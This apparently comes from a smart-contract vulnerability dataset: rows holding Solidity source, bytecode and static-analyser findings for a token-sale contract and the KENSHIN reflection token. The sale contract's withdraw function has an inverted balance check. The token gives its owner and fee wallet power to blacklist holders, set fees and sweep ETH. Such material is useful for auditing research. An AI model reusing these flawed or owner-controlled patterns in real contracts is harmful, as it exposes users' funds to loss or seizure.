* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
emit WhitelistState(_beneficiary, true);
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Remove single address from whitelist.
* @param _beneficiary Address to be removed from the whitelist
*/
function removeFromWhiteList(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
emit WhitelistState(_beneficiary, false);
}
function isWhitelist(address _beneficiary) public view returns (bool whitelisted) {
return whitelist[_beneficiary];
}
function checkBenefit(address _beneficiary) public view returns (uint256 bfex) {
return bfexAmount[_beneficiary];
}
function checkContribution(address _beneficiary) public view returns (uint256 weiContribute) {
return weiParticipate[_beneficiary];
}
/**
* @dev getBfex function
* @param _participant Address performing the bfex token participate
*/
function getBFEX(address _participant) public payable {
uint256 weiAmount = msg.value;
_preApprove(_participant);
require(_participant != address(0));
require(weiAmount >= minimum);
// calculate bfex token _participant will recieve
uint256 bfexToken = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
// update ETH balance
uint256 raise = weiAmount.div(1000).mul(955);
uint256 fee = weiAmount.div(1000).mul(45);
// update contributor count
contributor += 1;
balances[wallet] = balances[wallet].add(raise);
balances[feeWallet] = balances[feeWallet].add(fee);
bfexAmount[_participant] = bfexAmount[_participant].add(bfexToken);
weiParticipate[_participant] = weiParticipate[_participant].add(weiAmount);
emit BFEXParticipate(_participant, weiAmount);
}
/**
* @dev calculate token amont
* @param _weiAmount wei amont user are participate
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 _rate;
if (_weiAmount >= 0.1 ether && _weiAmount < 1 ether ) {
_rate = rate;
} else if (_weiAmount >= 1 ether ) {
_rate = rateSecondTier;
}
uint256 bfex = _weiAmount.mul(_rate);
/* bfex = bfex.div(1 ether); */
return bfex;
}
/**
* @dev check if address is on the whitelist
* @param _participant address
*/
function _preApprove(address _participant) internal view {
require (maxContributor >= contributor);
if (timeLimitEnable == true) {
require (now >= startTime && now <= startTime + 1 days);
}
if (whitelistEnable == true) {
require(isWhitelist(_participant));
return;
} else {
return;
}
}
/**
* @dev disable whitelist state
*
*/
function disableWhitelist() public onlyOwner returns (bool whitelistState) {
whitelistEnable = false;
emit WhitelistState(msg.sender, whitelistEnable);
return whitelistEnable;
}
/**
* @dev enable whitelist state
*
*/
function enableWhitelist() public onlyOwner returns (bool whitelistState) {
whitelistEnable = true;
emit WhitelistState(msg.sender, whitelistEnable);
return whitelistEnable;
}
function withdraw(uint _value) public returns (bool success) {
require(balances[msg.sender] <= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
msg.sender.transfer(_value);
emit LogWithdrawal(msg.sender, _value);
return true;
}
function checkBalance(address _account) public view returns (uint256 balance) {
return balances[_account];
}
} | 0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301bf664881146101a057806326c2bcb4146101c157806327e235e3146101f45780632c4e722e146102155780632e1a7d4d1461022a5780633209e9e61461025657806334fcf4371461026e5780634042b66f14610286578063521eb2731461029b57806352d6804d146102cc5780635f515226146102e1578063643537aa14610302578063715018a6146103165780637410c0451461032b57806378e979251461034c5780638c10671c146103615780638da5cb5b146103815780639b19251a14610396578063ab0ced0e146103b7578063b14537b0146103d8578063ba80d787146103ed578063c5f39cd714610402578063c683630d14610417578063cdfb2b4e14610438578063cec4ab9c1461044d578063d6b0f48414610462578063e43252d714610477578063f054e09a14610498578063f25f4b56146104b9578063f2fde38b146104ce578063fcc29ae8146104ef578063fe58d3a314610507575b61019e3361051c565b005b3480156101ac57600080fd5b5061019e600160a060020a03600435166106f2565b3480156101cd57600080fd5b506101e2600160a060020a0360043516610755565b60408051918252519081900360200190f35b34801561020057600080fd5b506101e2600160a060020a0360043516610770565b34801561022157600080fd5b506101e2610782565b34801561023657600080fd5b50610242600435610788565b604080519115158252519081900360200190f35b34801561026257600080fd5b5061019e600435610846565b34801561027a57600080fd5b5061019e600435610862565b34801561029257600080fd5b506101e261087e565b3480156102a757600080fd5b506102b0610884565b60408051600160a060020a039092168252519081900360200190f35b3480156102d857600080fd5b506101e2610893565b3480156102ed57600080fd5b506101e2600160a060020a0360043516610899565b61019e600160a060020a036004351661051c565b34801561032257600080fd5b5061019e6108b4565b34801561033757600080fd5b506101e2600160a060020a0360043516610920565b34801561035857600080fd5b506101e2610932565b34801561036d57600080fd5b5061019e6004803560248101910135610938565b34801561038d57600080fd5b506102b06109ac565b3480156103a257600080fd5b50610242600160a060020a03600435166109bb565b3480156103c357600080fd5b506101e2600160a060020a03600435166109d0565b3480156103e457600080fd5b506101e26109eb565b3480156103f957600080fd5b506101e26109f1565b34801561040e57600080fd5b506101e26109f7565b34801561042357600080fd5b50610242600160a060020a03600435166109fd565b34801561044457600080fd5b50610242610a1b565b34801561045957600080fd5b50610242610a9c565b34801561046e57600080fd5b50610242610aac565b34801561048357600080fd5b5061019e600160a060020a0360043516610b28565b3480156104a457600080fd5b506101e2600160a060020a0360043516610b8f565b3480156104c557600080fd5b506102b0610ba1565b3480156104da57600080fd5b5061019e600160a060020a0360043516610bb0565b3480156104fb57600080fd5b5061019e600435610bd3565b34801561051357600080fd5b50610242610bef565b346000808061052a85610c11565b600160a060020a038516151561053f57600080fd5b600b5484101561054e57600080fd5b61055784610c9f565b60085490935061056d908563ffffffff610cff16565b6008556105946103bb610588866103e863ffffffff610d1216565b9063ffffffff610d2716565b91506105ad602d610588866103e863ffffffff610d1216565b600c80546001019055600254600160a060020a03166000908152600760205260409020549091506105e4908363ffffffff610cff16565b600254600160a060020a03908116600090815260076020526040808220939093556003549091168152205461061f908263ffffffff610cff16565b600354600160a060020a0390811660009081526007602090815260408083209490945591881681526005909152205461065e908463ffffffff610cff16565b600160a060020a038616600090815260056020908152604080832093909355600690522054610693908563ffffffff610cff16565b600160a060020a03861660008181526006602090815260409182902093909355805191825291810186905281517f7b0bab61ca3b3da13e0f2576d477f0046cc44b31cd0aa757d34aae0a70f47c04929181900390910190a15050505050565b600054600160a060020a0316331461070957600080fd5b600160a060020a0381166000818152600460209081526040808320805460ff191690558051938452908301919091528051600080516020610de08339815191529281900390910190a150565b600160a060020a031660009081526005602052604090205490565b60076020526000908152604090205481565b60095481565b336000908152600760205260408120548210156107a457600080fd5b336000908152600760205260409020546107c4908363ffffffff610d5016565b33600081815260076020526040808220939093559151909184156108fc02918591818181858888f19350505050158015610802573d6000803e3d6000fd5b50604080513381526020810184905281517fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e91929181900390910190a1506001919050565b600054600160a060020a0316331461085d57600080fd5b600b55565b600054600160a060020a0316331461087957600080fd5b600955565b60085481565b600254600160a060020a031681565b600b5481565b600160a060020a031660009081526007602052604090205490565b600054600160a060020a031633146108cb57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60066020526000908152604090205481565b60015481565b60008054600160a060020a0316331461095057600080fd5b5060005b818110156109a75760016004600085858581811061096e57fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff1916911515919091179055600101610954565b505050565b600054600160a060020a031681565b60046020526000908152604090205460ff1681565b600160a060020a031660009081526006602052604090205490565b600d5481565b600c5481565b600a5481565b600160a060020a031660009081526004602052604090205460ff1690565b60008054600160a060020a03163314610a3357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a90811791829055604080513381529190920460ff16151560208201528151600080516020610de0833981519152929181900390910190a15060035460a060020a900460ff1690565b60035460a060020a900460ff1681565b60008054600160a060020a03163314610ac457600080fd5b6003805474ff00000000000000000000000000000000000000001916908190556040805133815260a060020a90920460ff16151560208301528051600080516020610de08339815191529281900390910190a15060035460a060020a900460ff1690565b600054600160a060020a03163314610b3f57600080fd5b600160a060020a038116600081815260046020908152604091829020805460ff191660019081179091558251938452908301528051600080516020610de08339815191529281900390910190a150565b60056020526000908152604090205481565b600354600160a060020a031681565b600054600160a060020a03163314610bc757600080fd5b610bd081610d62565b50565b600054600160a060020a03163314610bea57600080fd5b600d55565b6003547501000000000000000000000000000000000000000000900460ff1681565b600c54600d541015610c2257600080fd5b6003547501000000000000000000000000000000000000000000900460ff16151560011415610c6f576001544210158015610c64575060015462015180014211155b1515610c6f57600080fd5b60035460a060020a900460ff16151560011415610c9a57610c8f816109fd565b1515610c9a57600080fd5b610bd0565b600080600067016345785d8a00008410158015610cc35750670de0b6b3a764000084105b15610cd2576009549150610ce7565b670de0b6b3a76400008410610ce757600a5491505b610cf7848363ffffffff610d2716565b949350505050565b81810182811015610d0c57fe5b92915050565b60008183811515610d1f57fe5b049392505050565b6000821515610d3857506000610d0c565b50818102818382811515610d4857fe5b0414610d0c57fe5b600082821115610d5c57fe5b50900390565b600160a060020a0381161515610d7757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600c56fc6d0af1d28f47ef9d2b492e899abf8d02743326a13126bb8568747721c8ea165627a7a72305820c6c29ea4f44f5768f2b26179426c284c04ad1f2b092be49bfda90f79f54ff7b10029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,821 |
0x0386019f44064db7a01c7c39ca9b94941cc8e315 | /**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
/**
*
* $KENSHIN
* https://t.me/kenshintoken
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KENSHIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Kenshin Token";
string private constant _symbol = unicode"KENSHIN";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (1 minutes);
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 10);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101445760003560e01c8063715018a6116100b6578063c4081a4c1161006f578063c4081a4c14610443578063c9567bf91461046c578063cf0848f714610483578063db92dbb6146104ac578063dd62ed3e146104d7578063e6ec64ec146105145761014b565b8063715018a6146103595780638da5cb5b1461037057806395d89b411461039b578063a9059cbb146103c6578063b515566a14610403578063c3c8cd801461042c5761014b565b806327f3a72a1161010857806327f3a72a14610249578063313ce567146102745780633bbac5791461029f578063437823ec146102dc5780636fc3eaec1461030557806370a082311461031c5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561053d565b6040516101729190612e9a565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d91906129f1565b61057a565b6040516101af9190612e7f565b60405180910390f35b3480156101c457600080fd5b506101cd610598565b6040516101da919061301c565b60405180910390f35b3480156101ef57600080fd5b5061020a6004803603810190610205919061299e565b6105a9565b6040516102179190612e7f565b60405180910390f35b34801561022c57600080fd5b50610247600480360381019061024291906128d7565b610682565b005b34801561025557600080fd5b5061025e610772565b60405161026b919061301c565b60405180910390f35b34801561028057600080fd5b50610289610782565b6040516102969190613091565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c191906128d7565b61078b565b6040516102d39190612e7f565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612931565b6107e1565b005b34801561031157600080fd5b5061031a61089d565b005b34801561032857600080fd5b50610343600480360381019061033e91906128d7565b61090f565b604051610350919061301c565b60405180910390f35b34801561036557600080fd5b5061036e610960565b005b34801561037c57600080fd5b50610385610ab3565b6040516103929190612db1565b60405180910390f35b3480156103a757600080fd5b506103b0610adc565b6040516103bd9190612e9a565b60405180910390f35b3480156103d257600080fd5b506103ed60048036038101906103e891906129f1565b610b19565b6040516103fa9190612e7f565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190612a31565b610b37565b005b34801561043857600080fd5b50610441610d47565b005b34801561044f57600080fd5b5061046a60048036038101906104659190612aa7565b610dc1565b005b34801561047857600080fd5b50610481610e3a565b005b34801561048f57600080fd5b506104aa60048036038101906104a59190612931565b611364565b005b3480156104b857600080fd5b506104c1611420565b6040516104ce919061301c565b60405180910390f35b3480156104e357600080fd5b506104fe60048036038101906104f9919061295e565b611452565b60405161050b919061301c565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190612aa7565b6114d9565b005b60606040518060400160405280600d81526020017f4b656e7368696e20546f6b656e00000000000000000000000000000000000000815250905090565b600061058e610587611552565b848461155a565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105b6848484611725565b610677846105c2611552565b6106728560405180606001604052806028815260200161379860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610628611552565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccb9092919063ffffffff16565b61155a565b600190509392505050565b61068a611552565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070e90612f5c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061077d3061090f565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610822611552565b73ffffffffffffffffffffffffffffffffffffffff161461084257600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108de611552565b73ffffffffffffffffffffffffffffffffffffffff16146108fe57600080fd5b600047905061090c81611d2f565b50565b6000610959600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9b565b9050919050565b610968611552565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612f5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4b454e5348494e00000000000000000000000000000000000000000000000000815250905090565b6000610b2d610b26611552565b8484611725565b6001905092915050565b610b3f611552565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390612f5c565b60405180910390fd5b60005b8151811015610d4357600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610c2457610c236133eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610cb85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610c9757610c966133eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610d3057600160066000848481518110610cd657610cd56133eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610d3b90613344565b915050610bcf565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d88611552565b73ffffffffffffffffffffffffffffffffffffffff1614610da857600080fd5b6000610db33061090f565b9050610dbe81611e09565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e02611552565b73ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6001811115610e3057600080fd5b8060098190555050565b610e42611552565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec690612f5c565b60405180910390fd5b600f60149054906101000a900460ff1615610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1690612fdc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610faf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061155a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff557600080fd5b505afa158015611009573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102d9190612904565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108f57600080fd5b505afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c79190612904565b6040518363ffffffff1660e01b81526004016110e4929190612dcc565b602060405180830381600087803b1580156110fe57600080fd5b505af1158015611112573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111369190612904565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bf3061090f565b6000806111ca610ab3565b426040518863ffffffff1660e01b81526004016111ec96959493929190612e1e565b6060604051808303818588803b15801561120557600080fd5b505af1158015611219573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123e9190612ad4565b505050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea